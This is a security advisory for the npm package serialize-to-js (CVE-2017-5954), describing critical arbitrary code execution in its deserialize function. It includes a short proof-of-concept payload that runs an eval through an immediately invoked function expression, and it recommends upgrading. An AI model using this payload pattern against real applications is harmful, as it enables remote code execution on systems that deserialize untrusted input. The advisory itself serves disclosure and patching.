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commenthol/serialize-to-js · Security

Code Execution Through IIFE in serialize-to-js

GHSA ID
GHSA-mm62-wxc8-cf7m
CVE ID
CVE-2017-5954
Severity
critical
Published
Updated
CVSS
9.8 · CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v3
9.8 · CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

Affected versions of serialize-to-js may be vulnerable to arbitrary code execution through an Immediately Invoked Function Expression (IIFE).

Proof of Concept

var payload = "{e: (function(){ eval('console.log(`exploited`)') })() }"
var serialize = require('serialize-to-js');
serialize.deserialize(payload);

Recommendation

Update to version 1.0.0, or later, and review this disclaimer from the author.

CWEs

  • CWE-502 · Deserialization of Untrusted Data

References